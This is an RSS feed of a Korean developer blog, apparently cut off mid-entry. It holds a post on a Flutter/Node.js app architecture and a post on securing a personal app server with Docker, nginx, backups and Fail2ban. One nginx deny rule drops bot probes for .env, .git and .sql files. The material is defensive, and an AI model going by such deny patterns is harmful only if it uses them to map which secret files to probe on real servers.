<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>세상 버그 다 겪는 월야</title>
    <link>https://bug41.tistory.com/</link>
    <description>프론트 , 백 구분없이 모두 다룰줄 아는 개발자가 목표입니다.

* 제 블로그에 있는 모든 글들은 단순히 스크랩해서 가져오는게 아니라, 제가 직접 실험해보고 하나하나 직접 캡처해서 작성하며 제가 겪었던 상황을 적어놓습니다.</description>
    <language>ko</language>
    <pubDate>Wed, 19 Aug 2026 06:56:12 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>월공</managingEditor>
    <image>
      <title>세상 버그 다 겪는 월야</title>
      <url>https://tistory1.daumcdn.net/tistory/3163132/attach/94c8d71b75e9410abc23098e78c0e6ef</url>
      <link>https://bug41.tistory.com</link>
    </image>
    <item>
      <title>Flutter + Node.js로 만든 실서비스 아키텍처 공개 (Exotiction)</title>
      <link>https://bug41.tistory.com/entry/Flutter-Nodejs%EB%A1%9C-%EB%A7%8C%EB%93%A0-%EC%8B%A4%EC%84%9C%EB%B9%84%EC%8A%A4-%EC%95%84%ED%82%A4%ED%85%8D%EC%B2%98-%EA%B3%B5%EA%B0%9C-Exotiction</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;프로젝트 개요&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Flutter&lt;/b&gt;&amp;nbsp;(프론트엔드) +&amp;nbsp;&lt;b&gt;Node.js Express&lt;/b&gt;&amp;nbsp;(백엔드) +&amp;nbsp;&lt;b&gt;MySQL&lt;/b&gt;&amp;nbsp;(DB)&lt;/li&gt;
&lt;li&gt;Android / iOS / Web 동시 지원 멀티플랫폼 앱&lt;/li&gt;
&lt;li&gt;파충류&amp;middot;양서류&amp;middot;절지류 사육자를 위한 사육 관리 플랫폼&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;폴더 구조 &amp;mdash; Feature-First&lt;/b&gt;&lt;/h2&gt;
&lt;pre class=&quot;crystal&quot;&gt;&lt;code&gt;lib/
├── core/                # 앱 전반 공통 모듈
│   ├── api/             # HTTP 클라이언트, 엔드포인트 상수
│   ├── navigation/      # 라우팅
│   ├── theme/           # 색상, 스타일 토큰
│   ├── platform/        # 플랫폼 분기 코드 격리
│   └── utils/           # 공통 유틸
└── features/            # 기능 단위로 분리
    ├── auth/
    ├── community/
    ├── pets/
    └── ui/
        ├── pages/       # 화면 파일
        └── widgets/     # 재사용 위젯
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Laravel의 app/Http/Controllers, app/Models처럼 역할별로 분리하되, 기능(feature) 단위로 묶는 방식&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;아키텍처 패턴 &amp;mdash; Controller / Service / Model 3계층&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;역할&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;클래스&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;하는 일&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Controller&lt;/td&gt;
&lt;td&gt;XxxController&amp;nbsp;(StateNotifier)&lt;/td&gt;
&lt;td&gt;상태 관리, 비즈니스 로직&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Service&lt;/td&gt;
&lt;td&gt;XxxService&lt;/td&gt;
&lt;td&gt;API 호출, 데이터 변환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Model&lt;/td&gt;
&lt;td&gt;XxxModel&lt;/td&gt;
&lt;td&gt;JSON 파싱, 데이터 구조 정의&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Page&lt;/td&gt;
&lt;td&gt;XxxPage&lt;/td&gt;
&lt;td&gt;UI 렌더링만 담당&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;데이터 흐름 (단방향)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;Page
 └─ ref.read(controller.notifier).method()
     └─ Controller
         └─ Service &amp;rarr; API 서버
         └─ state = state.copyWith(...)
             └─ Page 리빌드
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Page는 절대 직접 API를 호출하지 않음. 반드시 Controller를 통해서만 데이터를 다룸&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;상태관리 &amp;mdash; Riverpod&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;StateNotifierProvider&amp;lt;Controller, State&amp;gt;&amp;nbsp;사용&lt;/li&gt;
&lt;li&gt;State 클래스는&amp;nbsp;const&amp;nbsp;생성자 + 직접 작성한&amp;nbsp;copyWith()&amp;nbsp;보유&lt;/li&gt;
&lt;li&gt;상태 업데이트:&amp;nbsp;state = state.copyWith(...)&amp;nbsp;방식만 허용, 직접 필드 변경 금지&lt;/li&gt;
&lt;li&gt;freezed,&amp;nbsp;json_serializable&amp;nbsp;등 코드 생성 도구 미사용 &amp;rarr; 모든 모델 직접 작성&lt;/li&gt;
&lt;li&gt;경쟁 조건 방지: async 로드마다&amp;nbsp;int _loadSequence&amp;nbsp;카운터로 구버전 응답 무시&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;HTTP / API 레이어&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모든 HTTP 요청은&amp;nbsp;ApiClient.create(accessToken: ...)&amp;nbsp;단일 진입점 (Dio 기반)&lt;/li&gt;
&lt;li&gt;URL 문자열은&amp;nbsp;ApiEndpoints&amp;nbsp;클래스에 상수로만 정의, 인라인 하드코딩 금지&lt;/li&gt;
&lt;li&gt;Service는&amp;nbsp;Dio dio를 파라미터로 받음, 내부에서 직접 생성 금지&lt;/li&gt;
&lt;li&gt;Map&amp;lt;String, dynamic&amp;gt;&amp;nbsp;형태 그대로 UI에 전달 금지 &amp;rarr; 반드시 typed Model로 변환&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;라우팅 &amp;mdash; GoRouter&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;경로 문자열은&amp;nbsp;AppRoutes&amp;nbsp;클래스에&amp;nbsp;static const로만 선언&lt;/li&gt;
&lt;li&gt;동적 경로 (예:&amp;nbsp;/trade/123) 는&amp;nbsp;AppRoutes.tradeDetail(id)&amp;nbsp;같은 static 메서드로 생성&lt;/li&gt;
&lt;li&gt;context.push()&amp;nbsp;/&amp;nbsp;context.pop()&amp;nbsp;만 사용,&amp;nbsp;Navigator.push&amp;nbsp;계열 전면 금지&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;UI 패턴 규칙&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;상황&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;금지&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;허용&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;토스트 메시지&lt;/td&gt;
&lt;td&gt;SnackBar,&amp;nbsp;ScaffoldMessenger&lt;/td&gt;
&lt;td&gt;AppToast.show()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;삭제/확인 다이얼로그&lt;/td&gt;
&lt;td&gt;AlertDialog,&amp;nbsp;showDialog&amp;nbsp;2버튼&lt;/td&gt;
&lt;td&gt;showModalBottomSheet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;색상&lt;/td&gt;
&lt;td&gt;인라인&amp;nbsp;Color(0xFF...)&lt;/td&gt;
&lt;td&gt;AppColors.xxx&amp;nbsp;토큰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;이미지 처리&lt;/td&gt;
&lt;td&gt;dart:io&lt;/td&gt;
&lt;td&gt;XFile.readAsBytes()&amp;nbsp;+&amp;nbsp;Image.memory()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;플랫폼 분기&lt;/td&gt;
&lt;td&gt;각 파일에서 직접&lt;/td&gt;
&lt;td&gt;lib/core/platform/&amp;nbsp;에서만&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;백엔드 &amp;mdash; Node.js Express&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;라우트 모듈 구조&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;module.exports = function registerXxxRoutes({ app, pool, authenticateToken, clientError, ... }) {
  app.get('/path', authenticateToken, async (req, res) =&amp;gt; {
    // 1. 입력 검증
    // 2. DB 쿼리 (파라미터 바인딩)
    // 3. 응답
  })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 규칙&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모든 SQL 값은 파라미터 바인딩 (?), 문자열 직접 삽입 금지&lt;/li&gt;
&lt;li&gt;에러 응답은&amp;nbsp;clientError(error, 'fallback')&amp;nbsp;경유 &amp;rarr; 프로덕션에서 상세 에러 숨김&lt;/li&gt;
&lt;li&gt;인증&amp;nbsp;엔드포인트에&amp;nbsp;express-rate-limit&amp;nbsp;적용&lt;/li&gt;
&lt;li&gt;CORS는 와일드카드 금지,&amp;nbsp;allowedOrigins&amp;nbsp;배열 명시&lt;/li&gt;
&lt;li&gt;같은 행을 읽고 쓰는 핸들러는&amp;nbsp;SELECT ... FOR UPDATE&amp;nbsp;+ 명시적 트랜잭션 필수&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DB 마이그레이션&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;backend/migrations/NNN_description.sql&amp;nbsp;형태로 순번 관리&lt;/li&gt;
&lt;li&gt;ALTER TABLE ADD COLUMN에는 항상&amp;nbsp;IF NOT EXISTS&amp;nbsp;조건&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;API 하위 호환성 정책&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배포된 앱 여러 버전이 동시에 서버를 호출하기 때문에:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기존 응답 필드 삭제/이름 변경 금지&lt;/li&gt;
&lt;li&gt;기존 필드 타입 변경 금지 (예: string &amp;rarr; number)&lt;/li&gt;
&lt;li&gt;선택적이던 요청 파라미터를 필수로 변경 금지&lt;/li&gt;
&lt;li&gt;새 필드 추가, 새 선택적 파라미터 추가는 자유롭게 가능&lt;/li&gt;
&lt;li&gt;파괴적 변경이 불가피한 경우&amp;nbsp;/v2/...&amp;nbsp;새 엔드포인트 생성, 기존 유지&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;br /&gt;인프라&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Docker Compose 구성&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.4651%;&quot;&gt;&lt;b&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;컨테이너&lt;/span&gt; &lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 74.4186%;&quot;&gt;&lt;b&gt; 역할 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.4651%;&quot;&gt;nginx&lt;/td&gt;
&lt;td style=&quot;width: 74.4186%;&quot;&gt;리버스 프록시, SSL, 보안 헤더&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.4651%;&quot;&gt;api&lt;/td&gt;
&lt;td style=&quot;width: 74.4186%;&quot;&gt;Node.js Express 서버&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.4651%;&quot;&gt;db&lt;/td&gt;
&lt;td style=&quot;width: 74.4186%;&quot;&gt;MySQL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.4651%;&quot;&gt;dozzle&lt;/td&gt;
&lt;td style=&quot;width: 74.4186%;&quot;&gt;컨테이너 로그 모니터링 UI&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;API&amp;nbsp;서버와&amp;nbsp;DB는&amp;nbsp;외부에서&amp;nbsp;직접&amp;nbsp;접근하지&amp;nbsp;않도록&amp;nbsp;제한&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보안&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Nginx:&amp;nbsp;프록시&amp;nbsp;환경에서도&amp;nbsp;실제&amp;nbsp;클라이언트&amp;nbsp;IP를&amp;nbsp;기준으로&amp;nbsp;로그와&amp;nbsp;보안&amp;nbsp;정책&amp;nbsp;적용,&amp;nbsp;보안&amp;nbsp;헤더&amp;nbsp;적용&lt;/li&gt;
&lt;li&gt;Certbot: cron으로 SSL 인증서 자동 갱신&lt;/li&gt;
&lt;li&gt;Fail2ban: SSH 브루트포스 공격 자동 차단&lt;/li&gt;
&lt;li&gt;robots.txt&amp;nbsp;제공&amp;nbsp;및&amp;nbsp;비정상&amp;nbsp;접근&amp;nbsp;경로&amp;nbsp;차단&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;백업&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DB 정기 백업 후 별도 서버에 보관 &lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;파일 네이밍 컨벤션&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;종류&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;경로 예시&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;페이지&lt;/td&gt;
&lt;td&gt;lib/features/ui/pages/pet_detail_page.dart&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;컨트롤러&lt;/td&gt;
&lt;td&gt;lib/features/pets/pets_controller.dart&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;서비스&lt;/td&gt;
&lt;td&gt;lib/features/pets/pets_service.dart&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모델&lt;/td&gt;
&lt;td&gt;lib/features/pets/pets_model.dart&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2개 이상 기능에서 쓰는 위젯&lt;/td&gt;
&lt;td&gt;lib/core/widgets/widget_name.dart&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1개 기능에서만 쓰는 위젯&lt;/td&gt;
&lt;td&gt;lib/features/ui/widgets/widget_name.dart&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>docker</category>
      <category>Express</category>
      <category>FLUTTER</category>
      <category>GoRouter</category>
      <category>MySQL</category>
      <category>nginx</category>
      <category>nodejs</category>
      <category>riverpod</category>
      <category>모바일앱개발</category>
      <category>앱개발</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/229</guid>
      <comments>https://bug41.tistory.com/entry/Flutter-Nodejs%EB%A1%9C-%EB%A7%8C%EB%93%A0-%EC%8B%A4%EC%84%9C%EB%B9%84%EC%8A%A4-%EC%95%84%ED%82%A4%ED%85%8D%EC%B2%98-%EA%B3%B5%EA%B0%9C-Exotiction#entry229comment</comments>
      <pubDate>Wed, 17 Jun 2026 09:22:39 +0900</pubDate>
    </item>
    <item>
      <title>개인 앱 서버를 운영하며 적용한 인프라&amp;middot;보안 셋업 정리</title>
      <link>https://bug41.tistory.com/entry/%EA%B0%9C%EC%9D%B8-%EC%95%B1-%EC%84%9C%EB%B2%84%EB%A5%BC-%EC%9A%B4%EC%98%81%ED%95%98%EB%A9%B0-%EC%A0%81%EC%9A%A9%ED%95%9C-%EC%9D%B8%ED%94%84%EB%9D%BC%C2%B7%EB%B3%B4%EC%95%88-%EC%85%8B%EC%97%85-%EC%A0%95%EB%A6%AC</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;span style=&quot;background-color: #fdfdfc; text-align: start;&quot;&gt;Flutter + Node.js 기반 앱&amp;nbsp;&lt;/span&gt;&lt;b&gt;엑소틱션&lt;/b&gt;&lt;span style=&quot;background-color: #fdfdfc; text-align: start;&quot;&gt;을 직접 운영하면서 적용한 인프라/보안 설정들을 정리해본다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;단순히 만들어놓고 땡이 아니라 , 꾸준한 유지보수를 진행중이고, 찾아보다가 좋은거 있으면 적용시키기도하고&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;실시간 모니터링 하면서 로그 이상하게 찍히는것들 관련하여 알아보고 막으면서 하나씩 차근차근 알아가고 있다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;br /&gt;&lt;b&gt;1. Docker Compose 단일 파일로 4개 컨테이너 구성&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; [Nginx] , [Node Express API] , [Dozzle], [Mysql]&lt;br /&gt;&lt;br /&gt;- 모든 포트는 a.a.a.a 로만 바인딩해서, 외부에서 컨테이너 포트에 직접 접근하는 것 자체를 차단&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2.&amp;nbsp; Nginx 설정&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2-1 실제 클라이언트 IP 복원&lt;br /&gt;리버스 프록시 뒤에서는 $remote_addr 이 프록시 IP 로 찍히기 때문에 set_real_ip_from 으로 신뢰할 대역을 지정,&amp;nbsp;&lt;br /&gt;X-Forwarded-For 에서 실제 IP 를 복원&lt;/p&gt;
&lt;pre id=&quot;code_1781273008854&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;set_real_ip_from 192.168.0.0/16;
set_real_ip_from 172.16.0.0/12;
set_real_ip_from 10.0.0.0/8;
real_ip_header X-Forwarded-For;
real_ip_recursive on;

# 보안 헤더
add_header X-Frame-Options &quot;SAMEORIGIN&quot; always;
add_header X-Content-Type-Options &quot;nosniff&quot; always;
add_header X-XSS-Protection &quot;1; mode=block&quot; always;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2-2 .env, .git, 등 불필요한 스캔성 요청들은 nginx 단에서 즉시 차단&lt;br /&gt;(실제&amp;nbsp;운영&amp;nbsp;환경에서는&amp;nbsp;더&amp;nbsp;다양한&amp;nbsp;패턴을&amp;nbsp;별도로&amp;nbsp;관리하고&amp;nbsp;있습니다.)&lt;/p&gt;
&lt;pre id=&quot;code_1781272955423&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 예시
location ~* \.(env|git|sql)$ {
    return 444;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;712&quot; data-origin-height=&quot;490&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EOUIB/dJMb99Ufu6k/kH4Q35kxkXHRNbAMNjKJDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EOUIB/dJMb99Ufu6k/kH4Q35kxkXHRNbAMNjKJDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EOUIB/dJMb99Ufu6k/kH4Q35kxkXHRNbAMNjKJDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEOUIB%2FdJMb99Ufu6k%2FkH4Q35kxkXHRNbAMNjKJDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;712&quot; height=&quot;490&quot; data-origin-width=&quot;712&quot; data-origin-height=&quot;490&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 봇이 쓸데없이 찔러보는 요청이 상당히 많다.&lt;br /&gt;로컬 nginx 단에서 잘 막아줘야함&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. Dozzle - 컨테이너 로그 뷰어&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;굳이 서버에 ssh 접속 하지않고도 브라우저에서 실시간으로 Docker 로그를 볼수 있음 (엄청 편함 , 하루에 몇번은 접속하는듯)&lt;/p&gt;
&lt;pre id=&quot;code_1781273111699&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;dozzle:
  image: amir20/dozzle:latest
  volumes:
    - /var/run/docker.sock:/var/run/docker.sock:ro
  ports:
    - &quot;127.0.0.1:9999:8080&quot;
  environment:
    - DOZZLE_BASE=/dozzle&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Docker socket 을 read-only 로만 마운트해서 Dozzle 이 컨테이너 조작하지 못하게 함&lt;br /&gt;- https://관리자URL/dozzle 로만 접근 가능하게 해놨고, nginx 에서 Basic&amp;nbsp; Auth 로 보호중&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. DB 백업 - cron + mysqldump + scp&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백업 서버전용으로 놓고 주기적으로 dump 를 떠서 scp 전송을 하고있다.&lt;br /&gt;아직 일어나지않은 일이지만 혹시라도 내가 지금 사용중인 서버가 죽었을때를 대비해서 백업서버에도 아직 올려두지만 않았지, 20분 내로 서비스 정상화 시킬수 있게 체크리스트도 노션에 정리해서 보유중&lt;br /&gt;&lt;br /&gt;cron 돌려서 매일 새벽 3시마다 DB 백업함과 동시에 2주 이상 된 .sql 파일은 자동삭제 처리되게 해놨음&lt;/p&gt;
&lt;pre id=&quot;code_1781273250955&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;0 3 * * * /home/ubuntu/scripts/backup_db.sh &amp;gt;&amp;gt; /var/log/db_backup.log 2&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5. Fail2ban - SSH 브루트포스 차단&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dozzle 이 아니라 서버에도 직접 ssh 접속해서 매일 매일 모니터링을 진행하고있는데 , Failed Login Attempt 가 너무 많이 보이길래 관련하여 알아보고 적용해놨다.&lt;/p&gt;
&lt;pre id=&quot;code_1781273363304&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# /etc/fail2ban/jail.local
[sshd]
enabled  = true
port     = 22       
filter   = sshd
logpath  = /var/log/secure
maxretry = 5          # 5회 실패 시
findtime = 600        # 10분 이내
bantime  = 3600       # 1시간 차단&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 10분 안에 5번 SSH 로그인 실패하면 해당 IP 1시간 동안 차단&lt;br /&gt;- 포트는 당연히 22 안쓰고있음, 예시로 그냥 작성함&lt;/p&gt;
&lt;pre id=&quot;code_1781273425174&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 차단된 IP만 깔끔하게 추출
grep &quot;Ban &quot; /var/log/fail2ban.log | awk '{print $NF}' | sort | uniq -c | sort -rn&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 처럼 차단된 IP 만 추출해볼수있는데 아래와 같이 엄청 많이 나온다 -_- ..&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;246&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mOfzZ/dJMcadI2f96/9bF7j19k9CektBO4gRhOA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mOfzZ/dJMcadI2f96/9bF7j19k9CektBO4gRhOA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mOfzZ/dJMcadI2f96/9bF7j19k9CektBO4gRhOA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmOfzZ%2FdJMcadI2f96%2F9bF7j19k9CektBO4gRhOA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;246&quot; height=&quot;246&quot; data-origin-width=&quot;246&quot; 